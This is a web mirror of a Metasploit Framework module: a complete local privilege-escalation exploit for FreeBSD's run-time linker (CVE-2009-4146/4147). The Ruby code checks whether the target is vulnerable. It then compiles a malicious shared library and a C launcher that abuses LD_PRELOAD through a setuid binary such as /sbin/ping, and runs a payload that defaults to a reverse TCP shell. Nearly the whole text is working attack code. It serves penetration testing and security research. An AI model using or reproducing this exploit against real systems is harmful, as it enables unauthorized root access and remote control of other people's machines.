CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/freebsd/local/rtld_execl_priv_esc.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
prepend Msf::Exploit::Remote::AutoCheck
10
include Msf::Post::File
11
include Msf::Post::Unix
12
include Msf::Exploit::EXE
13
include Msf::Exploit::FileDropper
14
15
def initialize(info = {})
16
super(
17
update_info(
18
info,
19
'Name' => 'FreeBSD rtld execl() Privilege Escalation',
20
'Description' => %q{
21
This module exploits a vulnerability in the FreeBSD
22
run-time link-editor (rtld).
23
24
The rtld `unsetenv()` function fails to remove `LD_*`
25
environment variables if `__findenv()` fails.
26
27
This can be abused to load arbitrary shared objects using
28
`LD_PRELOAD`, resulting in privileged code execution.
29
30
This module has been tested successfully on:
31
32
FreeBSD 7.2-RELEASE (amd64); and
33
FreeBSD 8.0-RELEASE (amd64).
34
},
35
'License' => MSF_LICENSE,
36
'Author' =>
37
[
38
'Kingcope', # Independent discovery, public disclosure, and exploit
39
'stealth', # Discovery and exploit (4b1717926ed0d4823622011625fb1824)
40
'bcoles' # Metasploit (using Kingcope's exploit code [modified])
41
],
42
'DisclosureDate' => '2009-11-30',
43
'Platform' => ['bsd'], # FreeBSD
44
'Arch' =>
45
[
46
ARCH_X86,
47
ARCH_X64,
48
ARCH_ARMLE,
49
ARCH_AARCH64,
50
ARCH_PPC,
51
ARCH_MIPSLE,
52
ARCH_MIPSBE
53
],
54
'SessionTypes' => ['shell'],
55
'References' =>
56
[
57
['BID', '37154'],
58
['CVE', '2009-4146'],
59
['CVE', '2009-4147'],
60
['SOUNDTRACK', 'https://www.youtube.com/watch?v=dDnhthI27Fg'],
61
['URL', 'https://seclists.org/fulldisclosure/2009/Nov/371'],
62
['URL', 'https://c-skills.blogspot.com/2009/11/always-check-return-value.html'],
63
['URL', 'https://lists.freebsd.org/pipermail/freebsd-announce/2009-December/001286.html'],
64
['URL', 'https://xorl.wordpress.com/2009/12/01/freebsd-ld_preload-security-bypass/'],
65
['URL', 'https://securitytracker.com/id/1023250']
66
],
67
'Targets' => [['Automatic', {}]],
68
'DefaultOptions' =>
69
{
70
'PAYLOAD' => 'bsd/x86/shell_reverse_tcp',
71
'PrependSetresuid' => true,
72
'PrependSetresgid' => true,
73
'PrependFork' => true,
74
'WfsDelay' => 10
75
},
76
'DefaultTarget' => 0
77
)
78
)
79
register_options([
80
OptString.new('SUID_EXECUTABLE', [true, 'Path to a SUID executable', '/sbin/ping'])
81
])
82
register_advanced_options([
83
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
84
])
85
end
86
87
def base_dir
88
datastore['WritableDir'].to_s
89
end
90
91
def suid_exe_path
92
datastore['SUID_EXECUTABLE']
93
end
94
95
def upload(path, data)
96
print_status("Writing '#{path}' (#{data.size} bytes) ...")
97
rm_f(path)
98
write_file(path, data)
99
register_file_for_cleanup(path)
100
end
101
102
def check
103
kernel_release = cmd_exec('uname -r').to_s
104
unless kernel_release =~ /^(7\.[012]|8\.0)/
105
return CheckCode::Safe("FreeBSD version #{kernel_release} is not vulnerable")
106
end
107
108
vprint_good("FreeBSD version #{kernel_release} appears vulnerable")
109
110
unless command_exists?('cc')
111
return CheckCode::Safe('cc is not installed')
112
end
113
114
vprint_good('cc is installed')
115
116
unless setuid?(suid_exe_path)
117
return CheckCode::Detected("#{suid_exe_path} is not setuid")
118
end
119
120
vprint_good("#{suid_exe_path} is setuid")
121
122
CheckCode::Appears
123
end
124
125
def exploit
126
if !datastore['ForceExploit'] && is_root?
127
fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
128
end
129
130
unless writable?(base_dir)
131
fail_with(Failure::BadConfig, "#{base_dir} is not writable")
132
end
133
134
max_len = 1_000
135
if base_dir.length > max_len
136
fail_with(Failure::BadConfig, "#{base_dir} path length #{base_dir.length} is larger than #{max_len}")
137
end
138
139
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
140
141
executable_data = <<~LIB
142
#include <stdio.h>
143
#include <stdlib.h>
144
#include <unistd.h>
145
146
void _init() {
147
extern char **environ;
148
environ=NULL;
149
system("#{payload_path} &");
150
}
151
LIB
152
153
executable_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
154
upload("#{executable_path}.c", executable_data)
155
output = cmd_exec("cc -o #{executable_path}.o -c #{executable_path}.c -fPIC -Wall")
156
register_file_for_cleanup("#{executable_path}.o")
157
158
unless output.blank?
159
print_error(output)
160
fail_with(Failure::Unknown, "#{executable_path}.c failed to compile")
161
end
162
163
lib_name = ".#{rand_text_alphanumeric(5..10)}"
164
lib_path = "#{base_dir}/#{lib_name}"
165
output = cmd_exec("cc -shared -Wall,-soname,#{lib_name}.0 #{executable_path}.o -o #{lib_path}.0 -nostartfiles")
166
register_file_for_cleanup("#{lib_path}.0")
167
168
unless output.blank?
169
print_error(output)
170
fail_with(Failure::Unknown, "#{executable_path}.o failed to compile")
171
end
172
173
exploit_data = <<~EXPLOIT
174
#include <stdio.h>
175
#include <stdlib.h>
176
#include <string.h>
177
#include <unistd.h>
178
179
int main() {
180
extern char **environ;
181
environ = (char**)calloc(8096, sizeof(char));
182
environ[0] = (char*)calloc(1024, sizeof(char));
183
environ[1] = (char*)calloc(1024, sizeof(char));
184
strcpy(environ[1], "LD_PRELOAD=#{lib_path}.0");
185
return execl("#{suid_exe_path}", "", (char *)0);
186
}
187
EXPLOIT
188
189
exploit_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
190
upload("#{exploit_path}.c", exploit_data)
191
output = cmd_exec("cc #{exploit_path}.c -o #{exploit_path} -Wall")
192
register_file_for_cleanup(exploit_path)
193
194
unless output.blank?
195
print_error(output)
196
fail_with(Failure::Unknown, "#{exploit_path}.c failed to compile")
197
end
198
199
upload(payload_path, generate_payload_exe)
200
chmod(payload_path)
201
202
print_status('Launching exploit...')
203
output = cmd_exec(exploit_path)
204
output.each_line { |line| vprint_status line.chomp }
205
end
206
end
207
208